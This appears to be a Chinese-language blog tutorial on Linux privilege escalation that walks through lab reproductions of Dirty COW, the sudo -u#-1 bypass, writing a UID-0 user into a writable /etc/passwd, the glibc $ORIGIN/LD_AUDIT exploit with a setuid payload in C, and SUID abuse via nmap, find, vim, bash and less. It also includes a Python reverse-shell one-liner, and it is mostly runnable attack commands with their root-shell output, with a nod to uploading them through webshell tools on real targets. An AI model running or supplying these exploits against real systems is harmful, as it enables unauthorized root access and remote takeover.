社区微信群开通啦,扫一扫抢先加入社区官方微信群
社区微信群
漏洞范围:Linux内核 >= 2.6.22(2007年发行,到2016年10月18日才修复)
exp:
https://github.com/gbonacini/CVE-2016-5195
https://github.com/FireFart/dirtycow
实验环境是在bee-bug靶场中进行
首先我们进入这个bee-bug靶场
然后发现不是root用户
首先要查看一下他的内核版本
uname -a
发现大于2.6.22版本,发现可以进行脏牛提权
1.首先将他的那个脚本给下载下来进行导入(在真实的情况下,我们用菜刀或者蚁剑进行上传)
导入之后首先进行解压
使用命令
unzip dirtycow-master.zip
2.解压完成之后,cd进入该脚本
发现有一个后缀为c的文件,在进行编译
gcc -pthread dirty.c -o chaosec -lcrypt
编译好之后可以看到是绿色的字体
./dirty chaosec //进行设置密码
rm -rf /tmp/passwd.bak
发现写入passwd的用户名是这个脚本特有的firefart
然后我们再直接切换刚才创建的用户,
su firefart
chaosec
发现成功提权
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: chaosec
Complete line:
firefart:fikfn/z5Hy5i6:0:0:pwned:/root:/bin/bash
mmap: 7f3f0eb8200
漏洞影响版本
sudo < 1.8.28
利用条件
sudo的版本号<1.8.28
知道当前用户的密码
当前用户存在于sudo权限列表
第一点和第二点比较好容易理解,那么第三点当前用户存在于sudo权限列表这个怎么理解呢?
当 /etc/sudoers 文件存在如下形式的配置会导致漏洞的产生
chao ALL=(ALL, !root) ALL
这句话的含义就是:
允许 hack 用户以非 root 权限之外的所有用户权限运行命令,也就是说hack用户拥有root权限以外的所有权限。但是这样的配置应该会出现在比较少的特殊情况。
漏洞复现
1.首先创建一个普通用户
我们在/etc/sudoers配置文件中加上这一行 (要是在root用户下进行修改)
chaosec ALL=(ALL, !root) ALL
然后再切换回普通用户
查看他的版本号
sudo -V
之后再whoami
sudo -u#-1 whoami //让他报错之后爆出提权
sudo -u#-1 ls
sudo -u#-1 id
去执行这个普通用户执行不了的命令
首先准备一个centos7的终端低权限的来模拟咱们真实情况下的shell和提权
首先这个shell下的/etc/passwd必须是所用用户可写,就是666
我们在复现的过程要先切换到root用户
然后将/etc/passwd文件给与666权限
我们再切换chao这个用户回来查看,发现每个用户都有写入权限
1.写入一个用户,uid和gid为0的root用户,不过这个用户是我们创建的
有关于 /etc/passwd 文件里面数据的每个属性
我们现在要做的就是自己构造一个用户,在密码占位符处指定密码,并且UID设置为0,将其添加到 /etc/passwd 文件中。
第一种方法
perl
perl -le 'print crypt("chaosec","addedsalt")'
再将密码还有用户名一起写入
echo “chaosec:aduDz9sTizAD6:0:0:root:/root:/bin/bash” >>/etc/passwd
之后再用ssh连接上
ssh chaosec@192.168.43.229
发现成功提权成功
第二种方法
openssl
openssl passwd -salt salt chaosec
再用同样的方法进行写入
echo "chaosec3:saVBfyIDZsGlg:0:0:root:root:/bin/bash">>/etc/passwd
验证一下
ssh chaosec3@192.168.43.229
可以利用此漏洞以根用户身份执行任意代码。
请注意,这是一个只对
安全专家和系统管理员。最终用户不需要
值得关注。
开发如下所示:
1.在/tmp中创建一个我们可以控制的目录
mkdir /tmp/exploit
2.链接到suid二进制文件,从而更改$ORIGIN的定义
ln /bin/ping /tmp/exploit/target
3.打开一个文件描述符到目标二进制文件(注意:有些用户很惊讶
学习exec可以用来操作当前文件的重定向
如果未指定命令,则返回shell。这就是下面发生的事情)。
exec 3< /tmp/exploit/target
如果上边不行就
exec 3> /tmp/exploit/target
4.现在应该可以通过/proc访问此描述符。
ls -l /proc/$$/fd/3
执行完成之后下边会显示:
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
5.删除以前创建的目录
rm -rf /tmp/exploit/
6./proc链接应该仍然存在,但现在将被标记为已删除。
ls -l /proc/$$/fd/3
执行完成会显示:
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
7.用有效负载DSO替换目录,从而使$ORIGIN成为dlopen()的有效目标。
cat > payload.c
将以下进行写入
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
8.编译:
gcc -w -fPIC -shared -o /tmp/exploit payload.c
9.查看权限
ls -l /tmp/exploit
10.现在强制/proc中的链接通过ldu AUDIT加载$ORIGIN。
LD_AUDIT="$ORIGIN" exec /proc/self/fd/3
以下
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)
漏洞解决方法(这是由GCC引发的一个漏洞):
升级:glibc
SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行
为文件附上这样的权限命令:
chmod u+s
或者
chmod 4755
-rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
像这样有s标志位的可执行权限的文件,运行后就是以ROOT用户执行
其中,大家熟知的具有提权功能的Linux可执行文件包括:
Nmap Vim find Bash More Less Nano cp
以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {} ;
** Nmap**
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。
nmap -V
为了启动交互模式,可以使用Nmap参数“interactive”。
以下命令将提供一个提权后的shell
nmap> !sh sh-3.2# whoami root
此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
Find
find命令 -exec参数可以用来指定系统命令,如果有py环境,可以直接将root权限,py反弹
py反弹命令:
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
Vim
Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny /etc/shadow
此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。
vim.tiny # Press ESC key :set shell=/bin/sh :shell
Bash
以下命令将以root身份打开一个bash shell
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
Less
程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。
less /etc/passwd !/bin/sh
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!